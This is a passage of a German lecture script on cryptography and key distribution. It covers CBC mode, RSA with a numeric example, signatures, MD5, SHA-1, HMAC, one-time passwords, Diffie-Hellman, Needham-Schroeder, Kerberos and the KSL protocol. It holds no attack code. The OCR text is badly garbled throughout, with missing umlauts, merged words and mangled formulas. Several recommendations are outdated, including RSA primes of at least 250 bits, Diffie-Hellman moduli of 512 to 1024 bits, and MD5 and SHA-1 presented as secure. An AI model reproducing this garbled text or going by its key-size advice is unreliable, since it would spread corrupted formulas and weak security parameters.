Offensichtlich glltDk(Ek(mZ D Cz?l)) Pc_1= (mz D Ci,1> D1 = m;.

_— ! !
| | |
o !
| f
[ [ [
) (S) (19

:

Abbildung 7.6: Prinzip der Cipher Block Chaining (CBC) Betriebsart

3 -

1 2 n

Eigenschaften des CBC Modus:
¢ Anderungen der Reihenfolge und dassthen ganzer Btke werden erkannt.

o Ubertragungsfehler beeiéirhtigen nur jeweils den aktuellen und den darauf folgen-
den Block.

e Statistische Eigenschaften des Klartextes weiithenr alle Bbcke verstreut, wodurch
eine Kryptoanalyse schwieriger wird.

7.4 Asymmetrische Chiffren

Asymmetrische Verfahren benutzen zum Ver- und Entsd@In einer Nachricht verschie-
dene Sclilssel. Dies bietet interessante Vorteile, da eini&d#l in der Regeidffentlich ist
(public key) wahrend die zweite &lfte geheim bleibt (private key). Durch die Viagbarkeit

von offentlichen Schisseln wird die Sclilsselverteilung in der Regel wesentlich einfacher.
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7.4.1 RSA-Verfahren

Das RSA-Verfahrerq9] ist das wohl bekannteste asymmetrische Veig$glungsverfahren.
Der Name ergibt sich aus den Namen der Erfinder R. Rivest, A. Shamir und L. Adleman.

Beschreibung des Verfahrens

e Schlsselerzeugung

1. Erzeuge zwei grof3e Primzahlgmundq von ungeéhr der gleichen &nge.
Berechner = pgundp(n) = (p — 1)(¢ — 1).

Wabhle eine Zaht mit 1 < e < p(n) und ggte, ¢(n)) = 1.

Berechne die eindeutige Zadiimit 1 < d < ¢(n) unded mod ¢(n) = 1.

. Der offentliche Schiissel ist(n, ¢), der private Schissel ist(n, d). Die Zahlen
p, ¢ undp(n) werden vernichtet.

oA W

e \Verschlisselung

1. Der Klartextm wird als eine Folge von Zahlen; mit m; € {0,1,...,n — 1}
dargestellt.

2. Mit Hilfe des offentlichen Schiissels(n, ¢) berechne:; = m¢ mod n fur alle
m;.

e Entschiisselung

1. Mit Hilfe des privaten Sclilsselgn, d) berechnen; = ¢ mod n fur allec;.
2. Wandele die Zahlenfolge:; zuriick in den ursginglichen Klartext.

Beispiel 15 Wir nehmen die zwei Primzahlen= 47 und ¢ = 71. Damit ergibt sich
n = p-q = 3337. Der Chiffrierschlissele darf keinen gemeinsamen Faktor mit

en)=(p—1)-(¢—1)=46-70 = 3220
haben. Wir vithlen zudllig e = 49. Daraus ergibt sich:
d = e mod ¢(n) = 497" mod 3220 = 1019

Die Zahlene undn werden publiziert \&threndd geheim bleibt. Die Zahlemundg werden
vernichtet.

Zur Verschiisselung wird der Klartext: = 6882326879666683 in kleinere Bbcke zerlegt.
Wir wahlenm; = 688, my = 232, m3 = 687, my = 966, ms; = 668 undmg = 3. Durch
Berechnung von; = m$ mod n ergibt sichc; = 1570, ¢o = 2756, c3 = 2714, ¢y = 2276,
cs = 2423 undcg = 158 und damit der Ciffretext = 1570 2756 2714 2276 2423 158.

Zur Entschlisselung wird auf den Chiffretextdie inverse Berechnungy; = ¢ mod n
angewendet und man €t den Klartext zuiack.
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Eigenschaften des RSA-Verfahrens:

e Die Sicherheit des Verfahrens beruht auf dem Problem, eine groR3e:Zahilakto-
risieren. Der derzeit schnellste Faktorisierungsalgorithmugtiggre v () n(n())
Schritte. Sollte irgendwann ein sehr viel schneller Faktorisierungsalgorithmus ge-
funden werden, dann ist das RSA-Verfahren aiirg.

e Die Primzahlerp und ¢ sollten nach derzeitigen Erkenntnissen mindestens 250 Bit
lang sein und nicht zu nah beeinander liegen. (Sonst kann ein Angpeifest g in
der Nahe von,/n suchen.)

e Zur Bestimmung von grof3en Primzahledrkien probabilistische Primzahltests ein-
gesetzt werden.

e Man sollte grundatzlich fur verschiedene Sdldsel(n, ¢) auch verschiedene Werte
furn wahlen.

¢ Ver- und Entschisselung mit dem RSA-Verfahren ist wesentlich berechnugsintensi-
ver als vergleichbare symmetrische Verfahren.

Digitale Signaturen

Eine digitale Signatur ist eine digitale Unterschrift, mit der die Echtheit eines Dokuments
bewiesen werden kann. Das RSA-Verfahren kann zur Erzeugung digitaler Signaturen ein-
gesetzt werden, indem die beiden Sdslel vertauscht werden.

e \Verschlisselung mit digitaler Signatur

1. Der Klartextm wird als eine Folge von Zahlen; mit m; € {0,1,...,n — 1}
dargestellt.

2. Berechnes; = mfA mod n 4 fur allem; mit Hilfe des eigenen privaten Sc¢ls-
sels(na,da) von A .

3. Verschlsselung mit Hilfe de®ffentlichen Schilssels(n g, eg) von B durch
Berechnung vom; = s;¥ mod np fur alles;.

e Enschiisselung und Rifen einer digitalen Signatur

1. Entschlisselung mit Hilfe des privaten Séisisels(ng, dg) von B durch Be-

rechnung vory; = ¢® mod nj fir allec;.

2. Berechnem; = s;* mod n, fur alle s; mit Hilfe desoffentlichen Schiissels
(nA, GA) von A.

3. Wandele die Zahlenfolge:; zuriick in den urspinglichen Klartext.

Die digitale Signatur mit dem RSA-Verfahren ist sehr aufwendig, da der ganze Klartext
signiert werden muf3. Abhilfe schafft hier die Signatur eines Fingerabdrucks der Nachricht
(siehe Abschnit7.5.3. Die Ver- und Entsclilsselung ist optional und nur erforderlich,
wenn der Text geheim gehalten werden mulf3.
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Mathematische Grundlagen

Das RSA-Verfahren beruht auf grundlegenden Aussagen der Zahlentheorie:
e Es seiem, b € Z undn € N. a heil3t kongruenb modulon (in Zeichena =, b),
wenn es eirk € Z gibt mita — b =k - n.

e Mit a mod n bezeichnen wir den Rest venmodulon im Intervall [0, — 1]. Es
gilt:

a=,b< amodn=>bmodn

e AufZ, konnenfir allea, b € Z,, die Operationer- und- wie folgt definiert werden:
a+b=(a+b)modn
a-b=(a-b) modn
e Die modulare Arithmetik ist kommutativ, assoziativ und distributiv.

e Die modulare Arithmetik kann auf die Exponentiation erweitert werden:

t
¢! mod n = (H(e mod n)) mod n

i=1
e Esseia € Z,n € N, n > 1 und es gelte ggt, ») = 1. Dann existiert genau ein
multiplikatives Inverses € N, 0 < z < n, mit (a - ) mod n = 1.
e Die Eulersche Funktiop(n) bezeichnet die Anzahl der Zahlermit 1 < = < n fur
die gg{x,n) = 1ist.
e Es seip eine Primzahl. Dann gilt:
1. op)=p—1.
2. Istk € N, dann folgto(p*) = p*~1(p — 1).
3. Istq eine Primzahl mip # ¢, dann folgty(pq) = ¢(p)e(q) = (p — 1)(¢ — 1).
e Essein € Nunda € Z mitggt(a,n) = 1. Dann gilta®™ mod n = 1.

Das RSA-Verfahren beruht auf folgender Aussage, die sich mit Hilfe der Zahlentheorie
beweisenalt:

e Eseinn = pg € N mit Primzahlerp undq undp # ¢. Es gelte weitee, d € N mit
ed mod ¢(n) = 1 und es sein € [0,n — 1]. Dann gilt:
(m® mod n)? mod n =m
Der Beweis beruht auf folgendélberlegung:

(m® mod n)? mod n = m* mod n
= mFMW+1 ;mod n
= m* (™) .m mod n
— m?™" . m mod n
=1 - m=m
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7.5 Einweg-Hashfunktionen

Einweg-Hashfunktionen haben die Aufgabi, €inen beliebig langen Klartext einen cha-
rakteristischen Hashwert oder augfingerabdruck’ (message digest) festénge zu be-
rechnen. Diese Fingeralidike konnen zur Realisierung unterschiedlicher Sicherheits-
dienste eingesetzt werden:

¢ Integritat:
Sicherstellung der DatenintegiitdurchUberpiifung des Fingerabdrucks nach ei-
ner Dateiibertragung. Dazu muf3 der original Fingerabdruckiriah gesichert
ubertragen werden.

e Authentifikation:
Mit Hashwerten kann eine sehr effiziente Authentifikation realisiert werden, insbe-
sondere wenn die Geheimhaltung der Daten nicht zwingend notwendig ist.

e Signaturen:
Anstatt grol3e Klartexte komplett zu signieren, kann man sich auf die Signatur des
Fingerabdrucks des Klartextes besuiken.

Nicht jede beliebige Hashfunktion ist zur Realisierung derartiger Sicherheitsdienste geeig-
net. Insbesondere darf es einem Angreifer nicht ohne weiteres gelingen, zu einem gegebe-
nen Fingerabdruck eine Nachricht zu konstruieren, die denselben Fingerabdruck besitzt.

Notwendige Eigenschaften einer Einweg-Hashfunktionen (one-way-function):

e Die HashfunktionH bildet Eingaben: mit einer variablen Bikinge auf Ausgaben
H(x) einer festen Bitinge ab.

e Die Hashfunktion/ ist fur beliebige Eingabemn leicht zu berechnen.

e Zu einem gegebenen Klartextist es berechnungsafig fast unraglich, eine Nach-
richt m’ mit m # m’ und H(m) = H(m’) zu finden.

e Es ist berechnungsi®ig fast unraglich, zwei beliebige Klartexten und m’ mit
m # m’ und H(m) = H(m') zu finden.

e Fiur einen gegebenen Fingerabdrudkt es berechnungsifiig praktisch uniglich,
einen Klartextn mit H(m) = z zu finden.

7.5.1 Message Digest 5 (MD5)

Die Hashfunktion MD5 48] wurde 1991 von Ronald L. Rivest v@fentlicht und ist eine
verbesserte Version der MD4 Hashfunktion aus dem Jahr 1990. In déifféretichung
findet sich auch eine Referenzimplementation in der Sprache C.

MD5 besitzt folgende Eigenschaften:
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Padding
n 512 Bit Blocke J] Lange

1..512| 64
Bits |Bits

Klartext

<— 512 Bit —=<— 512 Bit —= <— 512 Bit —=

Yo A1 LR Y1

512 512 512

128 64 MD5 | 128 64 MD5 | 128 128 64 MD5 128
ABCD - - MD5
Schritte Schritte Schritte Hashwert

Abbildung 7.7: Prinzip der MD5 Einweg-Hashfunktion

Der berechnete MD5-Hashwert ist 128 Bit lang.

MD5 verarbeitet einen variabel langen Klartext iroBken von 512 Bits, wobei je-
weils ein 128 Bit Hashwert erzeugt wird, der als Eingabeden rachsten Block
dient.

Beim ersten Block werden die vier 32 Bit Konstantén3, C und D als Hashwert
verwendet.

Fur jeden 512 Bit Block werden 64 Schritte zur Komprimierung der Daten durchlau-
fen.

MD5 wurde fir 32-Bit Prozessoren konzipiert und bevorzugt Prozessorelittiei
endianrArchitektur (z.B. Intel 80x86).

MD5 kann effizient in Software realisiert werden und erbringt eine Leistung von
mehreren Millionen Bit pro Sekunde auf derzéilicher PC Hardware.

Der Aufwand zum Finden zweier Klartexte und m’ mit m # m’ und H(m) =
H(m') liegt vermutlich in der GaBenordnung vo® Operationen.

Der Aufwand zum Finden eines Klartexteszu einem gegebenen Fingerabdruck
mit H(m) = z liegt vermutlich in der GoBenordnung vo@'?® Operationen.

7.5.2 Secure Hash Algorithm 1 (SHA-1)

Die Hashfunktion SHA-146] wurde von der amerikanischen Standardisierung$tukh
NIST entwickelt und basiert ebenfalls auf der Hashfunktion MDA4.

SHA-1 besitzt folgende Eigenschaften:

e Der berechnete SHA-1-Hashwert ist 160 Bit lang.
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Padding
n 512 Bit Blécke J] Lange

1..512| 64
Bits |Bits

Klartext

<— 512 Bit —==<— 512 Bit —= <— 512 Bit —=

Yo Y ... Yn-1

512 512 512

160 80 SHA | 160 80 SHA | 160 160 80 SHA 160
ABCDE - - SHA
Schritte Schritte Schritte Hashwert

Abbildung 7.8: Prinzip der SHA-1 Einweg-Hashfunktion

SHA-1 verarbeitet einen Klartext mit einer maximaleimige vor2%* Bits in Blocken
von je 512 Bits, wobei jeweils ein 160 Bit Hashwert erzeugt wird, der als Eingabe
fur den rachsten Block dient.

Beim ersten Block werden digihf 32 Bit Konstanterd, B, C, D und E als Has-
hwert verwendet.

Fur jeden 512 Bit Block werden 80 Schritte zur Komprimierung der Daten durchlau-
fen.

SHA-1 wurde fir 32-Bit Prozessoren konzipiert und bevorzugt Prozessorehignit
endiarArchitektur (z.B. SPARC).

SHA-1 ist aufwendiger und daher etwas langsamer als MD5. SHA-1 erzeugt aber
einen Bngeren und damit sichereren Hashwert, sofern beide Algorithmen keine prin-
zipiellen Fehler haben.

7.5.3 Signaturen mit Hashfunktionen

Anstatt potentiell lange Klartexte zu signieren, kann man sich auf eine Signatur des Fin-
gerabdrucks bescainken, wenn eine geeignete Einweg-Hashfunktion zuriigenfig steht.

e Signatur einer Nachricht: mit Einweg-Hashfunktion und RSA
1. Der Senderd berechnet die Signatur= D 4(H(m)), wobeiD 4 der geheime
RSA-Schiissel vonA ist, undubertiagtm unds.

2. Der Empfinger berechnell (m) und E4(s), wobei £4 der offentliche RSA-
Schiissel vonA ist. Die Signatur ist korrekt, wenf (m) = E(s) gilt.

Es ist sogar riaglich, zwei Nachrichtemn; und m, mit Hilfe eines Notars so zu signie-
ren, dal3 die Urheber der Nachrichten die Signatwerpiifen kbnnen, ohne selbst beide
Nachrichten zu kennen.
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e Duale Signatur zweier Nachrichten; undm, mit Einweg-Hashfunktion und RSA

1. Der NotarN berechnett (m,) und H(ms), konkateniert die sich ergebenden
Bitmuster, wendet darauf nochmal die Hashfunktiéran und signiert das Er-
gebnis mit dem geheimen RSA-SakselD y:

s = Dy(H(H(m)||H(ms)))

2. Der Urheber vonn,; bekommt die berechnete Signatuund den Hashwert
H(msy). Durch einen Vergleich voiy (s) mit H(H (my)||H(ms)) kann der
Urheber vonm; die Signatuiiberpiifen, ohnen, selbst zu kennen.

3. Analog kann der Urheber vom, nach Mitteilung vons und des Hashwertes
H(m,) die Signatur ohne Kenntnis van, Uberpfifen.

7.5.4 Authentifikation mit Hashfunktionen

Wenn ein gemeinsamer Sékkelk existiert, dann kann man eine Hashfunkti@rauch zur
Authentifikation von Nachrichten benutzen, indem man die Hashfunktion auf den Klartext
m und den Schisselk anwendet.

e Geheime Pafix-Methode
Der Schuisselk wird vor die Nachrichtn gestellt und es wird der Hashweét( k|| m)
berechnetUbertragen wird die Nachricht: und der HashwerH (k||m). Der Em-
pfanger berechnet mit seinem Sasdel ebenfallé/ (k||m) und vergleicht die Hash-
werte.

e Geheime Suffix-Methode
Der Schiisselk wird an das Ende der Nachricht angegf und es wird der Hashwert
H (m||k) berechnetUbertragen wird die Nachricht: und der HashwerH (m||k).
Der Emp&nger berechnet mit seinem Sasdel ebenfalld7 (m|/k) und vergleicht
die Hashwerte.

¢ HMAC (Keyed-Hashing for Message Authentication)
Zunachst wird der Sclilsselk durch das Anfigen von O Bytes auf die Blockhge
B des verwendeten Hashalgorithmbdserweitert (512 Bit im Falle von MD5 oder
SHA-1). Dieser erweiterte Sdidsel sei mit’ bezeichnet. Desweiteren werden zwei
Konstantenpad und opad berdtigt: ipad ist ein String der BngeB, der aus dem
Zeichen0x36 besteht, undpad ist ein String der Bnge B, der aus dem Zeichen
0x5¢ besteht. Berechnet wird nun:

H((k @ opad)||H((k & ipad)||m))
Sowohl die geheime Bfix-Methode als auch die geheime Suffix-Methodahken ange-
griffen werden. Das HMAC-Verfahren gilt derzeit als sicher und findet in mehreren siche-

ren Internet-Protokollen Anwendung.
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7.5.5 One Time PalRworte (OTP)

In vernetzten Umgebungen ist es oftmals relativ einfach, Pal3worte durch ein gezieltes
Abhodren des Kommunikationsmediums zu erlangen, da vielfach immer noch ungesicherte
Protokolle benutzt werden, die PalRworte im Klartésertragen. Abhilfe schafft hier ein
Verfahren, bei dem ein Paldwort immer nur genau einriliggist.

Das OTP-Verfahren verwendet eine Einweg-Hashfunkiofz.B. MD5 oder SHA-1), mit

der zu einem gegebenen Klartext ein Fingerabdruck berechnet werden kann. Das Verfahren
beruht auf der Eigenschaft von Einweg-Hashfunktionen, daB es einfa¢histis /™!

zu berechnen, @ahrend es berechnungéRig praktisch unibglich ist, 7*~! aus H" zu
berechnen.

Sei weiterhinH™ mit n € N wie folgt definiert:

H(m) furn=1
H"(m) = {

H(H" " (m)) furn > 1

e Initialisierung:
Seis eine beliebige Zeichenfolge defahge 1 bis 16 ung eine beliebige Zeichen-
folge der Lange 10 bis 63p ist das zugrundeliegende geheime Pal3wort sirsd
das Salz. Aus dem ur@pglichen PaBwort sollen PalRworte abgeleitet werden,
die jeweils nur einmal benutzt werdedrinen. Der Authenfizierungsserver, der den
Zuganguberpiift, berechnet
k= H""(s]lp)

und merkt sichk undn.

e Challenge:
Bei einem Authentifizierungswunsch sendet der Server den Namen der benutzten
HashfunktionH, das Salz und den aktuellen Wert vom an den Benutzer.

e Response:
Der Benutzer berechnéf”(s||p) und sendet den Wert zieck an den Authenfizie-
rungsserver. Dabei kann die Ausgabe der Hashfunktion in eine ASCII-Darstellung
transformiert werden, die sich aus sprechbaren Silben zusammensetzt.

¢ Verifikation:
Der Authenfizierungsserver berechnet ml(H" (s||p)) unduberpiift ob das Ergeb-
nis mit k& Ubereinstimmt. BeUbereinstimmung ist die Authentifikation erfolgreich
und es wirdk = H"(s||p) gesetzt unch dekrementiert. Erreicht den Wert0, so
muf3 eine neue Initialisierung durchlaufen werden.

Literaturhinweise

Als Grundlage fir die formale Schreibweise dier@(]. Dort findet man auch weitergehen-
de Beweise and Analyseiirfdie einzelnen Verfahren. Beschreibungen der verschiedenen
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Algorithmen findet man ing2, 56, 27]. Eine sehr gute Eirifhrung in die Kryptologie, die
mit vielen Beispielen aus der Geschichte angereichert ist, findet m&h in [

Das Hashverfahren MD5 ist im RFC 13248] beschrieben. Der Anhang des RFCs éitth
eine (nicht optimierte) Implementierung in der Programmiersprache C. Angriffe auf die
geheime Pafix-Methode und die geheime Suffix-Methode sind38][beschrieben. Das

HMAC-Verfahren ist in RFC 210435] definiert und das OTP-Verfahren ist in RFC 2289
[25] definiert.
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Kapitel 8

Schltisselverteilung

Die kryptographischen Verfahren setzen meist voraus, daf3 die Kommunikationspartner
uber einen gemeinsamen Sisdel verfigen. Aus Sicherheitsgnden strebt man aniif
einzelne Verbindungen oder Sitzungen sogenannte Sitzungsseh(session keys) zu ver-
wenden, die nurifr die Dauer einer Verbindung oder Sitzungtgy sind. Desweiteren kann
auch die Benutzungsdauer von Sitzungsssseln zeitlich begrenzt sein.

Um zu grundlegenden Aussagéher verschiedene Authentifizierungssysteme zu gelan-
gen, sollen die folgenden strengen Annahmen getroffen werden:

(1) Ein Betiiger kann in alle Kommunikationspfade eindringen. Diese Annahme ist im
Zusammenhang mit offenen Netzen ohne weiteres einsichtig.

(2) Ein Betriger kann jede Nachricht abren. Dabei kann er Teile der Nachricht kopie-
ren, ve&ndern oderdschen, oder er kann falsche Teile in die Nachrichtigjeh.

(3) Ein Betiiger kann eine abgéhte und kopierte Nachricht zu einemaseren Zeit-
punkt beliebig wiederholen.

(4) Bei einer Abfolge mehrerer Nachrichten kann ein Bgér die Reihenfolge vertau-
schen oder einzelne Nachrichtésthen.

(5) Ein Betiuger kann die Quell- oder die Zieladresse einer Nachricht modifizieren.

(6) Rechnernamen und Netzadressen allein sind nicht vertrauedigw Ein Bettiger
kann seinen Rechner so modifizieren, dal3 er sichefnen anderen Rechner mit
einer anderer Adresse ausgibt.

8.1 Notation

Zunachst soll eine Notation eingéirt werden, mit der sich die im folgenden vorgestellten
Protokolle kompakt darstellen lassen.
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¢ Die an einem Protokoll beteiligten Parteien werden durch die grof3en Buchstaben
B und S dargestellt.

¢ Ein geheimer Sclilssel, den sich die Parteiehund B teilen, wird alsK;, notiert.
e Das ZeicherH steht fir eine kryptographisch starke Einweg-Hashfunktion.

e Ein offentlicher Schilissel einer Parted wird durch das Symbak’, dargestellt.

e Ein privater Schissel einer Parted wird durch das Symbak’;* dargestellt.

e Eine unbenutzte Aussage (Nonce), die von einer Pattgeneriert wurde, wird
durch N, dargestellt.

e Mehrere Elementen einer Nachricht werden durch Kommata voneinander getrennt.
e Die ZeichenP, Q und R sind Variableniber Parteien.

e Die ZeichenX undY sind Variableriber Aussagen.

e Das Zeichenk ist eine Variabldiber Schiissel.

e Eine mit dem SctilsselK verschiisselte Nachricht. wird durch{m} x dargestellt.

8.2 Diffie-Hellman

Das Schilisselverteilungsverfahren von Diffie und Hellmda][ist dasalteste asymme-
trische Verfahren. Es beruht auf dem Problem, einen diskreten Logarithmus effizient zu
berechnen.

Diffie-Hellman Verfahren:

1. Zunachst wird eine Primzahl und eine primitive Wurzed von p mit ¢ < p festge-
legt. p undg kdnnendffentlich bekannt gemacht werden. (Eine Zaldt eine primi-
tive Wurzel vonp wenn die Folgegy! mod p, g?> mod p, ..., ¢?! mod p die Zahlen
1,...,p— 1in einer beliebigen Permutation erzeugt.)

2. Die ParteiA wahlt zufllig eine Zahlx 4 € Z, und berechneg, = ¢g*4 mod p. Die
Zahlz 4 wird geheim gehalten und die Zapl wird and die Partel3 gesendet.

3. Die ParteiB wahlt zufllig eine Zahlz s € Z, und berechnejz = ¢*# mod p. Die
Zahlz g wird geheim gehalten und die Zady wird and die Partel gesendet.

4. Die ParteiA berechnet:
Ka, = y5* mod p = (¢"% mod p)* mod p = ¢“4*Z mod p
5. Die ParteiB berechnet analog:

K., = y3® mod p = (¢4 mod p)®? mod p = ¢g*4*? mod p
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6. Die Parteiend und B besitzen jetzt den gemeinsamen SekelX 4.
Eigenschaften des Diffie-Hellman Verfahrens:

e Bei der Wahl der Primzahl sollte darauf geachtet werden,(gdaf 1)/2 ebenfalls
prim ist.

¢ Die Primzahlp sollte eine lange von mindestens 512 Bit haben, empfohlen werden
eher 1024 Bits.

Beispiel 16 Das Diffie-Hellman Verfahren fand urdpmglich beim Sun RPC-Protokoll Ver-
sion 2 Verwendung. Die Parameter wargr- 3 und

p = 5213619424271520371687014113170182341777563603680354416779.

Die Lange vonp ist 192 Bits, was deutlich zu kurz ist. Aul3erdem existieren andere Si-
cherheitsprobleme im RPC Protokoll. Entsprechend wurde dieses Verfahren aus neueren
Spezifikationen des RPC entfernt.

8.3 Needham-Schroeder

Das Authentifizierungsprotokoll nach Needham-Schroediérdeht von zwei Parteied
und B aus, die jeweils einen geheimen Sddel K, und K,; mit einem Authentifizie-
rungsserver teilen.

Protokollablauf:

Abbildung 8.1: Needham-Schroeder Protokollablauf

Nachrichtl: A—S: A B,N,

Nachricht2: S — A: {N,, B, Kup, { K A}k, } Ko
Nachricht3: A — B: {Ku, A}x,,

Nachricht4: B — A: {N,}k,,

Nachricht5: A — B: {N, —1}g,
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e Die ParteiA erzeugt den Nonc#', und sendet die Klartextnachricht 1 an den Server
S, wodurch der Authentifizierungsvorgang angestof3en wird.

e S generiert daraufhin den Sitzungsdggel K, und erstellt damit das Zertifikat
{Kw, A} k,,, mit dem der ParteB der Sitzungsschiksel und die Identit von A
mitgeteilt wird. Danach sendétdie mit K, verschiisselte Nachricht 2 an.

e A entschiisselt die zweite Nachricht uritberpiift den NonceN, und B. Ist der
Test positiv, so entnimm#l der Nachricht den Sciiésel K, und sendet deriif B
bestimmten Teil weiter.

o NachdemB die Nachricht entschikselt hat, sind beide Parteien im Besitz des Sit-
zungsschisselsk ;.

e Mit den Nachrichten 4 und 5 soll die gege@mige Existenz der jeweils anderen
Partei sichergestellt werden.

Eigenschaften des Needham-Schroeder Protokolls:

e Das Protokolls von Needham-Schroeder setzt voraus, dal die Bameidritten
Protokollschritt der Unbenutztheit vai,, vertraut. Damit kann ein Angreifer ohne
Zeitbeschankung versuchen den Sakbkel K, zu brechen. Ist der Sddsel ge-
brochen, dann kann ein Angreifer das Zertifikatzaisenden und anschlieRend den
SitzungssclilsselK,;, benutzen.

e Eine Moglichkeit das Problem zu besémken ist die Eiriihrung von Zeitstempeln,
die die Lebensdauer eines Tickets begrenzen. Allerdings sind Zeitstempel nur sinn-
voll, wenn ver&f3lich synchronisierte Uhren vorhanden sind.

¢ Das Protokoll entélt Redundanzen. So ist die doppelte Veraskelung in der zwei-
ten Nachricht nicht notwendig.

8.4 Kerberos

Das hier vorgestellte Protokoll ist eine Verbesserung des Needham-Schroeder Protokolls
und beruht auf Zeitstempeln. Das Protokoll geht ebenfalls von zwei Partaeiend B aus,

die jeweils einen geheimen Sékel K, und K, mit einem Authentifizierungsserver

teilen.

Das Protokoll ist die Grundlage des Authentifizierungsdienstes Kerberos, der am MIT ent-
wickelt wurde und in vielen Systemen heutzutage eingesetzt wird. Das hier beschriebene
vereinfachte Protokoll wurde in der Kerberos Version 4 benutzt. Die aktuelle Version von
Kerberos benutzt eine verbesserte Variante des Protokolls.
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Protokollablauf:

y
=)

Abbildung 8.2: Kerberos Protokollablauf

Nachricht1l: A—S: A,B

Nachricht2: S — A: {Ts, L, Kaln B, {TS, L, Kab, A}Kbs}Kas
Nachricht3: A — B: {Ts,L,Ku, A}k, ,{A, T}k,
Nachricht4: B — A: {T,+ 1}k,

¢ Die ParteiA sendet die erste Nachricht an den Seiwemm den Authentifizierungs-
vorgang einzuleiten.

e Der ServerS erzeugt daraufhin den Sitzungsdcdgel K, und verschlsselt mit
Ky, unter Verwendung eines Zeitstempé&lsund einer Lebensdaudr das Ticket
{T, L, Ku, A} k,,, mit demA eine Authentifizierung mif3 innerhalb der @ltigkeitsdauer
durchfihren kann.

e Anschlie3end verschsseltS die zweite Nachricht mif(,, und sendet sie aA.

e Die Partei merkt sich die zweite Nachricht, um damit eine Authentifizierungsmit
innerhalb der @ltigkeitsdauer beliebig oft durctihren zu Knnen.

e Nun generiertA unter Verwendung des Zeitstempéls die dritte Nachricht und
sendet sie ams.

e Die ParteiB entschiisselt zuachst das Ticket mik(,; und Uberpiift mit dem Zeit-
stempell’; und der Lebensdauér, ob das Ticket nochigtig ist.

e Ist das Ticket gltig, so entnimmtB dem Ticket den Sitzungss¢ldsel K ,,. Damit
entschlisseltB den zweiten Teil der dritten Nachricht.

e Anschliel3end erzeud? die vierte Nachricht und sendet sie 4n

¢ Die ParteiA entschiisselt die vierte Nachricht uridberpiift 7, + 1, um festzustellen,
ob B im Besitz des Sitzungssadidselsi,;, ist.
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Eigenschaften des Kerberos Protokolls:

¢ Die redundante Versalbselung in der zweiten Nachricht ist weiterhin vorhanden.

e Durch die Verwendung von Zeitstempeln wird das Problem des Needham-Schroeder
Protokolls behoben und zatzlich eine Nachricht eingespart.

e Die Zeitstempel setzen voraus, daf’ synchronisierte Uhren vorhanden sind. Zur Syn-
chronisation der Uhren darf selbst widerum nur ein sicheres Protokoll verwendet
werden, da sonst ein Angreifer die Uhren manipulierénrite und sich so mehr Zeit
zum Brechen von Schsseln verschaffen kann.

8.5 Kehne-Sclinwalder-Langendorfer

Mit dem im folgenden beschriebenen Protokd@0] soll gezeigt werden, dafl man prin-
zipiell auf die Verwendung von Zeitstempeln und die damit verbundenen Uhrenprobleme
verzichten kann. Das Protokoll geht wiederum von zwei Partdiend B aus, die jeweils
einen geheimen SdmselK,, und K, mit einem Authentifizierungsserveérteilen. Das
Protokoll soll einen Sitzungssdldselk,;, etablieren und dabei redundanzfrei sein und die
zu verschilisselnde Datenmenge so klein wiéglich halten.

AulRerdem soll es fGglich sein, einen einmal ausgegebene &gl ,, mehrmals zu be-
nutzen, wobei die Dauer der Benutzungen durch den Séhkemtrolliert werden knnen
soll.

Protokollablauf @ir die initiale Schlisselverteilung:

Abbildung 8.3: Initialer KSL Protokollablauf

Nachrichtl: A— B: N, A

Nachricht2: B—S: N, A Ny, B

Nachricht3: S — B': {Nb,A,Kab}Kbs,{Na,B,Kab}Kas
Nachricht4: B — A: {N,, B, Ku}ko.s Nes {Na} s {10, A, Ko} iy,
Nachricht5: A — B: {N.}k,,
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e Die ParteiA startet das Protokoll, indem sie die eigene Idantit und einen Nonce
N, an die ParteB sendet.

e Die ParteiB speichertV,, erzeugt einen eigenen Nonég und sendet die zweite
Nachricht an den Servé.

e Der ServerS erzeugt einen SitzungsséiBkel K, und generiert damit die beiden
Teile der dritten Nachricht, die jeweils durch die geheimen i&3#lK,, und K,
gesclitzt sind.

e Die ParteiB entnimmt dem ersten Teil der Nachricht den Nonce ubdrpiift, ob
die Nachricht aktuell ist. Danach entnimmtden Sitzungsschbksel K, und ver-
schiusselt damit den in der ersten Nachricht empfangenen NoéfjceAul3erdem
erzeugtB einen weiteren Nonc#'...

e Um fur eine gewisse Zeit eine wiederholte Authentifizierung zuéginhen, wird
ein spezielles Ticket erzeugt, dafd einen lokalen Zeitsteffipsbwie die Kennung
der Parteid und den Sitzungssdidsel K, enthalt. Dieses Ticket wird mit einem
SchlisselK, verschlisselt, der nur der Part& bekannt ist.

e Nach dem Empfang der vierten Nachricht entaskelt die Parted zurachst den
ersten Teiluberpiift den NonceV, und entnimmt den SitzungssélskelK,,. Mit
diesem Sclilssel kann der versdidselte NoncéV, entschilisselt werden, wodurch
festgestellt wird, da(® Giber den Scliissel verifigt.

e Das Ticket aus der vierten Nachricht wirdrfspatere Authentifizierungen miB
aufgehoben.

e Im letzten Schritt sendeti den NonceN,. mit K, verschlisselt anB, um B zu
Uberzeugen, daf gegenvartig existiert und den SchéselkK,, benutzen kann.

Protokollablauf @r die wiederholte Authentifizierung:

CyPa——Cy

31

Abbildung 8.4: Wiederholte Authentifizierung mit dem KSL Protokoll

Nachricht . A — B: N, {Ty, A, Ku}x,
Nachricht22 B — A: N/, {N!}k,,
Nachricht3: A — B: {N/}xk,,

e Die Partei erzeugt einen weiteren Nondg und sendet ihn zusammen mit dem
Ticket an die Parteb.
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e Die ParteiB entschiisselt das Ticket unfiberpiift den Zeitstempel,. Falls das
Ticket noch djltig ist, erzeugtB einen NonceV; und sendet ihn zusammen mit dem
mit K, verschiisselten Noncé&/! an die ParteX.

e ParteiA Uberpiift den NonceV, und sendet ihrerseits den ndit,, verschilisselten
NonceN; zuriick anB.

Eigenschaften des KSL Protokolls:

e Wird eine wiederholte Authentifizierung nicht kigigt, so kann das Ticket in der
vierten Nachricht entfallen und man @thein etwas einfacheres Protokoll.

e Der Zeitstempel in dem Ticket ist so zu konstruieren, dal er die folgenden Informa-
tionen enthlt;
1. Die aktuelle lokale Uhrzeit vori.
2. Die Lebensdauer des Tickets.

3. Eine Uhrzeitkennung, mit der Tickets entdeckt werdénren, deren Zeitstem-
pel vor der letzten Zeitkorrektur vergeben wurde. (Eine Uhrzeitkennaidy |
sich durch einen einfacherifler realisieren, der bei jed&nderung der Uhr-
zeit inkrementiert wird.)

e Das KSL Protokoll ist nachweislich korrekt, redundanzfrei und minimal.

8.6 BAN-Logik

Die BAN-Logik ist eine formale Methode, mit der exakte Aussagéer Authentifizie-
rungsprotokolle gewonnen werdetiknen. Ziel ist es, verschiedene Protokolletlggizh
der folgenden Fragen miteinander vergleichen aarien:

